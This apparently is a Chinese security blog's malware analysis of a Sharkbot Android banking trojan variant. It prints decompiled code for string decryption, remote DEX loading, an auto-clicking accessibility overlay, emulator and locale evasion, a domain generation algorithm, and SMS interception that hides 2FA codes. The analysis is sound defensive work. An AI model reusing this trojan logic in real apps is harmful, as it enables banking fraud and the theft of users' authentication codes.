Sharkbot分析


Sharkbot是新一代Android银行木马,安全人员研究发现,这款恶意软件似乎和已知的Android Bot没有任何关联,并且使用了最高级的攻击技术,可以使用自动传输技术(ATS)从被感染设备发起欺诈汇款和绕过多因子认证,进行金融欺诈和窃取敏感信息。本文分析一款Sharkbot的新变种。

静态分析

使用的权限信息

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.ACTION_MANAGE_OVERLAY_PERMISSION" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_MMS" />
    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />

    <!--...-->
    <service android:label="@string/app_name_a" android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyServiceA" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" android:enabled="true" android:exported="true" android:process=":BackgroundService" android:description="@string/push_message" android:stopWithTask="false">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService" />
            </intent-filter>
            <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibility_service_config" />
        </service>

敏感权限包括读写手法短信,查询、删除和安装软件包,联网权限,请求忽略电池优化权限(可以防止被杀后台),改变系统窗口,还有监听系统启动完成(自动启动)等

主Activity是

<activity android:theme="@style/Theme.AppCompat" android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

开启了一个服务

    new-instance p1, Landroid/content/Intent;

const-class v0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;

invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

invoke-virtual {p0, p1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MainActivity;->startForegroundService(Landroid/content/Intent;)Landroid/content/ComponentName;

goto :goto_0

.line 373
:cond_1
new-instance p1, Landroid/content/Intent;

const-class v0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;

invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

invoke-virtual {p0, p1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

对于应用中的字符串,都采用了如下方法解密。部分类中采用的密钥不同

public static String H(Object obj) {
        String str = (String) obj;
        int length = str.length();
        char[] cArr = new char[length];
        length--;
        while (length >= 0) {
            int i = length - 1;
            cArr[length] = (char) (str.charAt(length) ^ 62);
            if (i < 0) {
                break;
            }
            length = i - 1;
            cArr[i] = (char) (str.charAt(i) ^ 7);
        }
        return new String(cArr);
    }

从最后一byte开始,分别依次异或62和7。可以写出对应解密脚本为

def decrypt(s):
    if type(s)==str:
        s=s.encode()
    r=[0]*len(s)
    cnt=True
    for i in range(len(s)-1,-1,-1):
        if cnt:
            r[i]=s[i]^62
        else:
            r[i]=s[i]^7
        cnt= not cnt
    return bytes(r).decode()
print(decrypt('`DZu000bWNZu000bGF^GKFKEZNJ'))

服务内容如下

public void onCreate() {
        Objects.requireNonNull(this.F);
        if (this.F.H()) {
            int i = 8 / 0;
            return;
        }
        s sVar = new s(this.k); // Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/s=DatabaseManager
        this.M = sVar;
        sVar.getWritableDatabase();
        this.C = new x(this.k, this.M.H(x.H((Object) "\hJNz"/*botID*/), this.F.a()), this.M.H(x.H((Object) "rLkM"/*urls*/), null));
        sVar = this.M;
        Objects.requireNonNull(this.F);
        sVar.a("needA11", x.H((Object) "GbM"/*yes*/));
        sVar = this.M;
        Objects.requireNonNull(this.F);
        sVar.a("aa11_start_time", String.valueOf(System.currentTimeMillis()));
        this.M.a(x.H((Object) "WnTaU{VkBmSaNpM{Dj"), x.H((Object) "u000e"/*0*/)); // APPS_REQUEST_INJECT
        this.F.H(this.k);
        if (VERSION.SDK_INT >= 26) {
            H();
        } else {
            startForeground(1new Notification());
        }
        E();
        b();
        this.g = this.k.getResources().getString(R.string.app_name);
        this.j = this.k.getResources().getString(R.string.app_name_a);
    }

其中sVar.a执行了一些数据库操作

private /* synthetic */ String H(String str, String str2, String str3) {
        str = getWritableDatabase().rawQuery(0 + str + c.H((Object) "u000e\FN\Nu000eEOFKu0016t"/* where name=*/) + str2 + c.H((Object) "t"/*'*/), null);
        if (str.moveToFirst()) {
            return str.getString(0);
        }
        if (str3 != null) {
            a(str2, str3);
        }
        return str3;
    }

首先存储了一些信息,然后this.F.H(this.k);设置了一个闹钟,重复发送广播。根据不同Android版本启动前台服务。

然后是E函数,查询和存储了一些数据。

# ...
const-string v1, "o_tVDQiXnY" # hashConfig

const-string v2, "|u001crLkM%u0004%u001c+u001co_tVDQiXnY%u0004%ZbXfKkJ%C" # {"urls":"","hashConfig":"default"}

.line 199
invoke-static {v2}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

.line 144
:try_start_0
new-instance v3, Lorg/json/JSONObject;

iget-object v4, p0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;->M:Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/s;

const-string v5, "dQiXnYRMbL" # configUser

invoke-static {v5}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v5

invoke-static {v2}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v2

invoke-virtual {v4, v5, v2}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/s;->H(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; # DatabaseManager

move-result-object v2

invoke-direct {v3, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V

iput-object v3, p0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;->H:Lorg/json/JSONObject;

.line 388
invoke-static {v1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v2
# ...

并且调用J函数,

private /* synthetic */ void J() {
        this.a = null;
        this.l = null;
        this.E = null;
        s sVar = this.M;
        String H = x.H((Object) "KwEaDrFmTaIJ{"); // LIB_CLASS_NAME
        String str = HttpUrl.FRAGMENT_ENCODE_SET;
        this.d = sVar.H(H, str);
        this.f = this.M.H(x.H((Object) "KwEaAkI}SwHpXpFsBanPnJ"), str); // LIB_FUNCTION_NAME_init
        this.K = this.M.H(x.H((Object) "rN|XxRpDjNqIaIJ{XNfLt[MmHp"), str); // LIB_FUNCTION_NAME_parseJSON
        this.G = this.M.H(x.H((Object) "KwEaAkI}SwHpXpFsBahPF]d[tMn\nRnJ~{q[iJ"), str); // LIB_FUNCTION_NAME_onAccessibilityEvent
        String H2 = this.M.H(x.H((Object) "rN|XxNrBaIJ{"), str); // LIB_FILE_NAME
        if (H2 != null && !H2.isEmpty()) {
            this.a = H(H2);
        }
    }

调用H函数从C2服务器获取Dex并进行动态Class加载

private /* synthetic */ Object H(String str) {
        if (str != null) {
            try {
                if (!str.isEmpty()) {
                    String str2 = 0 + x.H((Object) "u0011"/*/*/);
                    str = new DexClassLoader(0 + str, str2, null, ClassLoader.getSystemClassLoader()).loadClass(this.d);
                    Object newInstance = str.newInstance();
                    this.E = str.getMethod(this.K, new Class[]{JSONObject.class});
                    this.l = str.getMethod(this.G, new Class[]{AccessibilityEvent.classAccessibilityNodeInfo.class});
                    str = str.getMethod(this.f, new Class[]{Context.classJSONObject.class});
                    this.C.g = (String) str.invoke(newInstance, new Object[]{this.k, this.H});
                    return newInstance;
                }
            } catch (String str3) {
                this.C.J(0 + str3.toString());
            }
        }
        return null;
    }

然后是b函数

public void b() {
        try {
            if (this.F.H(this.k, MyServiceA.class)) {
                this.C.A = I;
                return;
            }
            Objects.requireNonNull(this.F);
            long parseLong = Long.parseLong(this.M.H("aa11_start_time", String.valueOf(System.currentTimeMillis())));
            long currentTimeMillis = System.currentTimeMillis();
            Object obj = "_6u000f"// a11
            if (this.F.C == 60000) {
                H(x.H(obj), getResources().getString(R.string.push_message/*Check whether your internet connection*/));
            } else if (currentTimeMillis > parseLong + 60000) {
                this.F.C = 60000;
            } else {
                String H;
                if (this.F.a(this.k).equals(x.H((Object) "nJ"/*it*/))) {
                    H = x.H((Object) "XnRbu0004(u0011(_iZuQnZX_tMbJ(_iZuQnZ6u000f(Wsu0010oJjR"/*file:///android_asset/android11/it.html*/);
                } else {
                    H = x.H((Object) "XnRbu0004(u0011(_iZuQnZX_tMbJ(_iZuQnZ6u000f([iu0010oJjR"/*file:///android_asset/android11/en.html*/);
                }
                Intent intent = new Intent(this.k, aaOverlay.class);
                intent.putExtra(x.H((Object) "c_s_"/*data*/), x.H(obj));
                intent.putExtra(x.H((Object) "KuR"/*url*/), H);
                intent.addFlags(268435456);
                intent.addFlags(BasicMeasure.EXACTLY);
                startActivity(intent);
            }
            new Handler(Looper.getMainLooper()).postDelayed(new MyServiceA$$ExternalSyntheticLambda1(), this.F.C);
        } catch (Exception e) {
            this.C.J(0 + e.toString());
        }
    }

根据语言渲染了一个网页,并且根据网页内容,只要辅助功能开启,就会自动授权其它所有权限

<script type="text/javascript">
 time = 2;
interval = setInterval(function({
    time--; // 延迟2s每秒点击
    if (time == 0) {
        clearInterval(interval);
        document.getElementById('thebutton').click();            
    }
}, 1000)
</script>
</head>
<body  style="width:100%; height: 100%;">
<div class="wrapper" >

 <div class="header">
  <div class="nav">
   <div class="nav__back"><img src="images/back.svg"></div>
   <div class="nav__title">Accessebility</div>
   <div class="nav__search"><img src="images/search-2.svg"></div>
  </div>
 </div>
    <!--...-->
    <div class="settings__item _hover">
    <div class="settings__item-icon"></div>
    <div class="settings__item-body">
     <div class="settings__item-title">Volume key shortcut</div>
     <div class="settings__item-info">Off</div>
    </div>
   </div>
   <div class="settings__item settings__item-name">
    <div class="settings__item-icon"></div>
    <div class="settings__item-body">
     <div class="settings__item-title">DOWLOADED SERVICES</div>
    </div>
   </div>
   <div class="settings__item _hover _hover-active">
    <div class="settings__item-icon">
     <div class="icon"><img src="images/mediaplayer.png"></div>
    </div>
    <div class="settings__item-body">
     <a href="en2.html" id='thebutton' value='Autoclick'><div class="settings__item-title">Media Player HD</div>
     <div class="settings__item-info">Off</div></a>
    </div>
   </div>
   <div class="settings__item settings__item-name">
    <div class="settings__item-icon"></div>
    <div class="settings__item-body">
     <div class="settings__item-title">SCREEN READERS</div>
<!--...-->

相关反逆向技术

会检测虚拟机的存在,并且对于一些语言采取绕过措施

.method public H()Z
    .locals 5

    const-string v0, "`QhYk[XMcU" # google_sdk

    const-string v1, "YbPbLn]" # generic

    const/4 v2, 0x1

    .line 282
    :try_start_0
    sget-object v3, Landroid/os/Build
;->FINGERPRINT:Ljava/lang/String;

    invoke-static {v1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v4

    invoke-virtual {v3, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z

    move-result v3

    if-nez v3, :cond_2

    sget-object v3, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;

    const-string v4, "[EEEA\@" # unknown

    invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v4

    .line 39
    invoke-virtual {v3, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z

    move-result v3

    if-nez v3, :cond_2

    sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;

    invoke-static {v0}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v4

    .line 402
    invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z

    move-result v3

    if-nez v3, :cond_2

    sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;

    const-string v4, "nC^BJZD\" # Emulator

    invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v4

    .line 7
    invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z

    move-result v3

    if-nez v3, :cond_2

    sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;

    const-string v4, "u007fiZuQnZ'mCu'\rWkJ'XhL'F?u0008" # Android SDK built for x86

    invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v4

    .line 194
    invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z

    move-result v3

    if-nez v3, :cond_2

    sget-object v3, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;

    const-string v4, "lKEWFA_GD@" # Genymotion

    invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v4

    .line 238
    invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z

    move-result v3

    if-nez v3, :cond_2

    sget-object v3, Landroid/os/Build;->BRAND:Ljava/lang/String;

    invoke-static {v1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v1

    .line 126
    invoke-virtual {v3, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z

    move-result v1

    if-eqz v1, :cond_0

    sget-object v1, Landroid/os/Build;->DEVICE:Ljava/lang/String;

    const-string v3, "IN@N\BM" # generic

    invoke-static {v3}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v3

    invoke-virtual {v1, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z

    move-result v1

    if-nez v1, :cond_2

    :cond_0
    invoke-static {v0}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v0

    sget-object v1, Landroid/os/Build;->PRODUCT:Ljava/lang/String;

    .line 42
    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-nez v0, :cond_2

    const-string v0, "MERB@W\DRY[W[JRIW" # cn|in|ro|ru|ua|by

    invoke-static {v0}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v0

    .line 211
    invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;

    move-result-object v1

    invoke-virtual {v1}, Ljava/util/Locale;->getLanguage()Ljava/lang/String;

    move-result-object v1

    invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;

    move-result-object v1

    invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z

    move-result v0
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

    if-eqz v0, :cond_1

    goto :goto_0

    :cond_1
    const/4 v0, 0x0

    return v0

    :catch_0
    :cond_2
    :goto_0
    return v2
.end method

以及域名生成算法(DGA)

.method private synthetic a()Ljava/lang/String;
.locals 11

const/4 v0, 0x0

.line 107
:try_start_0
new-instance v1, Ljava/lang/StringBuilder;

invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V

.line 288
invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;

move-result-object v2

const-string v3, "u0000_A[u0002u0005VRTu0007u0000HMu0007u0000B@MAu0007u0000HAFu0002u0005\^u0002u0005GEHDu0002u0005@NZ" # .top,.xyz,.cc,.info,.com,.ru,.info,.net

.line 23
invoke-static {v3}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v3

const-string v4, "u0012" # <

invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v4

invoke-virtual {v3, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;

move-result-object v3

array-length v4, v3

move v5, v0

:goto_0
if-ge v5, v4, :cond_0

aget-object v6, v3, v5
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1

:try_start_1
const-string v7, "u0007F_Z[u0014u0004u0001" # ,http://

.line 62
invoke-static {v7}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v7

invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v7

new-instance v8, Ljava/lang/StringBuilder;

invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V

const-string v9, "traff"

iget-object v10, p0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->J:Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/k;

.line 97
invoke-static {v10}, Ljava/util/Objects;->requireNonNull(Ljava/lang/Object;)Ljava/lang/Object;

invoke-virtual {v8, v0, v9}, Ljava/lang/StringBuilder;->insert(ILjava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v8

const/4 v9, 0x3

invoke-virtual {v2, v9}, Ljava/util/Calendar;->get(I)I

move-result v9

invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

move-result-object v8

const-string v9, "wQm|Nu0007Kv@xcX`[`TmMMu0007>Vqh@vQqmVlMcX" # pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf

invoke-static {v9}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v9

invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v8

invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v8

invoke-virtual {v8}, Ljava/lang/String;->getBytes()[B

move-result-object v8

const/4 v9, 0x2

.line 62
invoke-static {v8, v9}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;

move-result-object v8

const/16 v9, 0x13

.line 69
invoke-virtual {v8, v0, v9}, Ljava/lang/String;->substring(II)Ljava/lang/String;

move-result-object v8

.line 62
invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v7

.line 69
invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0

:catch_0
add-int/lit8 v5, v5, 0x1

goto :goto_0

.line 29
:cond_0
:try_start_2
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v1

invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;

move-result-object v0
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1

return-object v0

:catch_1
move-exception v1

.line 115
new-instance v2, Ljava/lang/StringBuilder;

invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V

const-string v3, "OAFKEjlou0011u000e"

invoke-static {v3}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;

move-result-object v3

invoke-virtual {v2, v0, v3}, Ljava/lang/StringBuilder;->insert(ILjava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;

move-result-object v1

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

invoke-virtual {p0, v0}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->J(Ljava/lang/String;)V

const-string v0, ""

return-object v0
.end method

Receiver分析

<receiver android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyReceiverSMS" android:permission="android.permission.BROADCAST_SMS" android:enabled="true">
    <intent-filter android:priority="999">
        <action android:name="android.provider.Telephony.SMS_DELIVER" />
        <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
</receiver><receiver android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyReceiverMMS" android:permission="android.permission.BROADCAST_WAP_PUSH" android:enabled="true">
    <intent-filter>
        <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
        <data android:mimeType="application/vnd.wap.mms-message" />
    </intent-filter>
</receiver><receiver android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.aaBootReceiver" android:enabled="true" android:exported="true">
    <intent-filter android:priority="979">
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.QUICKBOOT_POWERON" />
        <action android:name="android.intent.action.SCREEN_ON" />
        <action android:name="vlcfaoshzuitgbmckzv3xw8u9fgal7" />
    </intent-filter>
</receiver>

短信接收器

com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyReceiverSMS

public class MyReceiverSMS extends BroadcastReceiver {
  x C;
  
  private String K = "undefined";
  
  public void onReceive(Context paramContext, Intent paramIntent) {
    try {
      if (H(paramContext) && paramIntent.getAction().equals(x.H("_iZuQnZ)NuQqWc[u20S[k[wVhP~20TsTaU{D{NhBz"))) { // android.provider.Telephony.SMS_RECEIVED
        Bundle bundle = paramIntent.getExtras();
        if (bundle != null) {
          x x1 = new x();
          this(paramContext, nullnull);
          this.C = x1;
          x1.M = null;
          Object[] arrayOfObject = (Object[])bundle.get(x.H("wZrM")); // pdus
          if (arrayOfObject != null) {
            int i = arrayOfObject.length;
            byte b = 0;
            while (b < i) {
              SmsMessage smsMessage = H(arrayOfObject[b], bundle);
              StringBuilder stringBuilder = new StringBuilder();
              this();
              stringBuilder = stringBuilder.insert(0, smsMessage.getDisplayOriginatingAddress()).append(x.H("04")); // :
              String str = smsMessage.getDisplayMessageBody();
              b++;
              this.K = stringBuilder.append(str).toString();
            } 
            abortBroadcast();
            H();
          } 
        } 
      } 
    } catch (Exception exception) {}
  }
}

使用abortBrocast方法从用户端隐藏短信,并且截取2FA验证码

彩信接收器

还未实现

public class MyReceiverMMS extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        throw new UnsupportedOperationException(c.H((Object) "`DZu000bWNZu000bGF^GKFKEZNJ"));
    }
}

启动结束接收器

启动主服务

public void onReceive(Context context, Intent intent) {
        try {
            context = context.getApplicationContext();
            if (VERSION.SDK_INT >= 26) {
                context.startForegroundService(new Intent(context, MyServiceA.class));
            } else {
                context.startService(new Intent(context, MyServiceA.class));
            }
        } catch (Context context2) {
            context2.printStackTrace();
        }
    }

辅助功能分析

public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
        MyServiceA myServiceA = this;
        Object obj = "WnTaU{VkBmSaNpM{Dj"// APPS_REQUEST_INJECT
        Object obj2 = "MpWw["// swipe
        Object obj3 = "FPsWC[k[s["// AntiDelete
        Object obj4 = "`Rh\fR"// global
        Object obj5 = "u001c"// "
        Object obj6 = "hPF]d[tMn\nRnJ~{q[iJ=u001e"// onAccessibilityEvent: 
        if (accessibilityEvent != null) {
            try {
                if (accessibilityEvent.getPackageName() != null) {
                    AccessibilityNodeInfo source = accessibilityEvent.getSource();
                    if (source != null) {
                        source.refresh();
                        String charSequence = accessibilityEvent.getPackageName().toString();
                        try {
                            if (myServiceA.J) {
                                List findAccessibilityNodeInfosByViewId = source.findAccessibilityNodeInfosByViewId(x.H((Object) "fPcLhWcu0004nZ(\rJsQiu000f")); // android:id/button1
                                if (!(findAccessibilityNodeInfosByViewId == null || findAccessibilityNodeInfosByViewId.isEmpty() || !myServiceA.F.J(myServiceA.k))) {
                                    ((AccessibilityNodeInfo) findAccessibilityNodeInfosByViewId.get(0)).performAction(16);
                                    myServiceA.c = I;
                                    myServiceA.J = false;
                                    myServiceA.C.H(new JSONObject());
                                }
                                return;
                            }
                            if (myServiceA.a != null) {
                                JSONObject jSONObject;
                                String str = myServiceA.m;
                                if (str != null && !str.isEmpty() && myServiceA.m.contains(0 + charSequence + x.H(obj5)) && myServiceA.M.H(charSequence).equals(x.H((Object) "iQ"))) {
                                    if (System.currentTimeMillis() > Long.parseLong(myServiceA.M.H(x.H(obj), myServiceA.F.H())) + 300000) {
                                        myServiceA.M.a(x.H(obj), x.H((Object) "u000e"));
                                        jSONObject = new JSONObject();
                                        jSONObject.put(x.H((Object) "i[bZNPm[dJ"), accessibilityEvent.getPackageName()); // needInject
                                        jSONObject.put(x.H((Object) "fZjWikUr"), myServiceA.C.C); // adminURL
                                        myServiceA.C.H(jSONObject);
                                    }
                                }
                                jSONObject = (JSONObject) myServiceA.l.invoke(myServiceA.a, new Object[]{accessibilityEvent, source});
                                if (jSONObject != null && jSONObject.length() > 0) {
                                    if (jSONObject.has(x.H(obj4))) {
                                        H(jSONObject.getString(x.H(obj4)));
                                    }
                                    if (jSONObject.has(x.H(obj3))) {
                                        myServiceA.c = jSONObject.getBoolean(x.H(obj3));
                                    }
                                    if (jSONObject.has(x.H(obj2))) {
                                        H(jSONObject.getJSONArray(x.H(obj2)));
                                    }
                                    myServiceA.C.H(jSONObject);
                                }
                            }
                            if (myServiceA.c) {
                                H(source, charSequence);
                            }
                        } catch (Exception e) {
                            myServiceA.C.J(0 + e.toString());
                        }
                    }
                }
            } catch (Exception e2) {
                myServiceA.C.J(0 + e2.toString());
            }
        }
    }

会尝试自动点击按钮,自动填充数据等

其它行为

还有一些和C2服务器通信、数据交互等行为

总结

很多Android的银行木马、bot、勒索软件等都会通过滥用辅助功能的方式进行信息窃取、金融欺诈。并且由于辅助功能的特殊性,一旦开启辅助功能就会导致用户既无法关闭辅助功能,也无法卸载软件,甚至有的bot会阻止用户打开设置。用户不得不使用adb(还需要在开启adb调试的情况下)进行卸载。但是辅助功能存在的意义是帮助一些使用手机有障碍的用户更方便地使用手机,可能这也需要一种平衡吧。

IOC

57f8a57320eeed2f5b5a316d67319191ce717cc51384318966b61f95722e275f

参考

https://blog.cyble.com/2022/02/18/new-sharkbot-variant-discovered/

https://www.ddosi.org/sharkbot/


end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



Sharkbot分析


原文始发于微信公众号(ChaMd5安全团队):Sharkbot分析

版权声明:admin 发表于 2022年10月9日 上午8:00。
转载请注明:Sharkbot分析 | CTF导航

相关文章

暂无评论

暂无评论...